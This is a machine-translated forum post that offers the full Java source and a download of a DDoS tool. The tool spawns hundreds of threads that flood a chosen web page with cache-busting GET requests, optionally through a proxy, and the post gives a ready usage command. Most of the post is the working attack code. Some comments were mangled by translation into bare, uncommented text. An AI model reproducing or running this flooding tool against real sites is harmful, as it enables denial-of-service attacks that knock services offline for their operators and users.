This article is a mirror article of machine translation, please click here to jump to the original article.

View: 15524|Reply: 0

[Tips] Java version of the D-DOS attacker program

[Copy link]
Posted on 12/1/2014 3:21:57 PM | | |
jar code
dDOS attack implemented by java.
However, it is no different from traditional dDos.
This software is a DDOS attack on a page.
How to use:
java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Daemon threads
*
* @author  administration
*
*/
public class test {
    private String host, uri, param;
    private int port;
    private final Vector<CCDDOSThread> v = new Vector<CCDDOSThread>();
    private InetSocketAddress isa;
    private int threadsCount = 500; Number of threads
    private Random r = new Random();
    private long timeout = 5000l;

    /**
     * Open the attack
     */
    public void start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = new CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = new Timer();
        t.schedule(new TimerTask() {
            public void run() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = null;
                        count++;
                    } else if (ct - th.start > timeout) {
                        Timeout, external end
                        timeoutthreads++;
                        th.setCancle(true);
                        th.interrupt();
                        it.remove();
                        th = null;
                        count++;
                    }
                }
                if (count == 0) {
                    return;
                }
                System.out.println("Thread has been closed:"+count+", where the timeout thread is connected:"
                        + timeoutthreads);
                for (int i = 0; i < count; i++) {
                    CCDDOSThread th = new CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Daemon thread started:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            System.out.println("Instructions:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } else if (args.length >= 8) {
            Set up with an agent
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        test m = new test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = new InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Attack threads
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread extends Thread {
        private boolean cancle = false;
        public long start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            return cancle;
        }

        public void run() {
            long start = System.currentTimeMillis();
            Selector selector;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    // System.out.println(ex.getMessage());
                    cancle = true;
                    selector.close();
                    return;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = true;
                        break wait;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    while (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = true;
                            break wait;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            String head = "GET " + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Connection:close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = true;
            }
        }
    }
}
[/mw_shl_code]

Finished product and source code download: java ddos.zip (8.42 KB, Number of downloads: 0, Selling price: 2 Grain MB)





Previous:Let's talk about the largest 400G mysterious DDoS attack in history
Next:Send iPhone 6 to talk about the artifact crack points-free version
Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com